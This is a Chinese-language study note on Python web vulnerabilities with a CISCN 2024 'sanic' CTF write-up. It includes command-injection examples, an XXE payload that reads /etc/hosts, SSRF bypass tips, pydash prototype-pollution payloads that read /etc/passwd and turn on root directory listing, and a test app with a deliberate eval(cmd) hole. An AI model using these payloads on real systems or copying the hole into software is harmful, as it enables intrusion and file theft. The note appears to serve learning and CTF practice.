
Python漏洞总结
- RCE
- XSS
- XXE
- CSRF
- SSRF
- SSTI
- 原型链构造
- 文件操作
- 反序列化
RCE(远程代码执行)
常见的命令执行模块及函数:
- os
- subprocess
- pty
- codecs
- popen
- eval
- exec
常见 Python RCE 情况
ip=input()
os.system(f'ping -c 4 {ip}')
a=__import__('os').system('ls -a') #动态调用实现
或者
a=input()
b=subprocess.Popen(f'ping -c 4 {a}',shell=True)
XSS(跨站脚本攻击)
Coming s∞n
XXE(XML外部实体注入)
感觉有点像反序列化,解析数据时通过操作数据可使其自动执行一些代码
Python 中解析 XML 的几种方法:
- xml.sax.parse()
- xml.dom.minidom.parse()
- xml.dom.pulldom.parse()
- xml.etree.ElementTree()
- 一些第三方库,例如
lxml
靶机:https://github.com/hannoch/python-xxe
注意:此靶机需要手动允许外部实体,因为现在 etree 已默认禁用外部实体引入
靶机 payload:
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "file///etc/hosts">
]>
<user>
<username>
&xxe;
</username>
<password>
password
</password>
</user>
CSRF(跨站请求伪造)
Coming s∞n
SSRF(服务端请求伪造)
常用的可造成 SSRF 漏洞的请求库:
- requests
- pycurl
通常 CTF 会过滤非 HTTP/HTTPS 协议,私有地址
进行攻击时通常要考虑如何绕过,比如:
- 私有地址除了127.0.0.1,也包括整个127.0.0.0/8
- 可以使用重绑定绕过,将自己的域名解析为私有地址
SSTI(模板注入)
Coming s∞n
Python 原型链污染
整个原型链污染主要就是依靠以下函数
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
这函数什么意思呢?
用一个示例加 AI sama 的解释就可以知道了
class father:
secret = "haha"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "no way"
}
}
}
print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way
执行过程详解
初始状态
son_a
和son_b
的secret
属性继承自father
,初始值为"haha"
。
合并步骤
-
处理
payload["__class__"]
:src
是payload
,dst
是instance
。k = "__class__"
,v = {"__base__": ...}
。instance
没有__getitem__
,但hasattr(instance, "__class__")
为True
(实例的__class__
属性指向son_b
类)。- 进入
merge(v, getattr(instance, "__class__")
,即合并到son_b
类。
-
处理
son_b
类的__base__
属性:src
是{"__base__": {"secret": "no way"}}
,dst
是son_b
类。k = "__base__"
,v = {"secret": "no way"}
。son_b
的__base__
属性指向father
类。- 进入
merge(v, father)
,即合并到father
类。
-
修改
father
类的secret
属性:src
是{"secret": "no way"}
,dst
是father
类。k = "secret"
,v = "no way"
。- 直接通过
setattr(father, "secret", "no way")
覆盖父类的secret
属性。
通过 merge
函数,我们可以构造一个字典,然后改变类的属性等等
但以上示例貌似只能对有继承关系的类进行改动,诶,其实还有办法
类都有一个 __init__
方法,而函数或类的方法都具有一个叫 __global__
的属性,这个属性能够将函数或类方法所申明的变量空间中的全局变量以字典的形式返回
然后我们就可以构造类似以下的 payload:
{
"__init__" : {
"__globals__" : {
"secret_var" : 114514,
"a" : {
"secret_class_var" : "Pooooluted ~"
}
}
}
}
这样就可以修改无继承关系的类属性乃至全局变量
除了全局变量,还可以修改引入的其它模块的种种内容
{
"__init__" : {
"__globals__" : {
"test_1" : {
"secret_var" : 514,
"target_class" : {
"secret_class_var" : "Poluuuuuuted ~"
}
}
}
}
}
以上示例就是将 test_1.py 里的变量和类改变了
除了变量和类,我们还可以更改函数的形参默认值,这主要就是修改了函数 __defaults__
和 __kwdefaults__
这两个内置属性
例如一个函数长这样:
def evilFunc(arg_1 , * , shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())
我们就可以构造以下的 payload:
{
"__init__" : {
"__globals__" : {
"evilFunc" : {
"__kwdefaults__" : {
"shell" : True
}
}
}
}
}
这样就可以修改 evilFun
函数形参 shell
的默认值了
根据以上方法,我们可以修改一些库中重要的变量、类等等的内容,例如 flask
的 SECRET_KEY
_got_first_request
_static_url_path
等等,甚至是达到 RCE的效果
但是以上种种都基于有 merge
方法的情况下,例如:Pydash
模块中的 set_
和 set_with
方法
例题 CISCN 2024 - sanic
先访问 /src,获得源码
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
然后访问 /login 并伪造 Cookie
这里如果直接将 Cookie 设为 user=“adm;n” 会因分号被截断,所以要利用RFC2068的编码规则绕过,简单来说就是八进制编码
代码中可以看到,除了这个分号,还有 _.
也被过滤了
查看 pydash 的源码可以发现它会将 \\.
变为 .
,然后匹配成组的 \\
和 .
来分割
所以构造污染链时要注意这些规则
初步构造 payload 如下:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}
(注:merge 方法的不同实现会让 payload 的形式各异,但中心思想都是一致的)
这样可以访问任意文件了
但是无法访问 /flag 文件,会显示500
所以要找找文件在哪
分析app.static这个方法
跟进源码发现一段注释
大致意思就是 directory_view 为 True 时,会开启列目录功能,directory_handler 中可以获取指定的目录
继续跟进两次就可以找到要污染的类 DirectoryHandler
只需要将 directory 污染为根目录,directory_view 污染为 True,就可以看到根目录的所有文件了
查询资料可以发现,这个框架可以通过 app.router.name_index['xxxxx']
来获取注册的路由
自己搭建一个测试用环境,代码如下:
from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)
#@app.route('/', methods=['GET', 'POST'])
#async def index(request):
#return html(open('static/index.html').read())
#@app.route("/login")
#async def login(request):
#user = request.cookies.get("user")
#if user.lower() == 'adm;n':
#request.ctx.session['admin'] = True
#return text("login success")
#return text("login fail")
@app.route("/src")
async def src(request):
eval(request.args.get('cmd'))
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
#print(app.router.name_index['name'].directory_view)
if __name__ == '__main__':
app.run(host='0.0.0.0')
全局搜索 name_index
在上面的地方下断点就可以查看系统调用这个路由时的状态以及其具有的属性
根据以上信息可以构造处以下 payload:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}
接下来访问 /static/ ,发现已经可以看到目录下的文件了
再试图污染 directory,它是一个对象,而其值是由 parts
属性决定的,而parts的值最后是给了_parts
这个属性,而这个 _parts
是一个了列表,可以直接污染
(注:此处其实是借鉴别的博客的,因为我在复现时完全找不到 _parts
属性)
于是有以下 payload:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
然后就可以查看文件名了
最后结合前面的任意文件读取即可获得 flag
参考: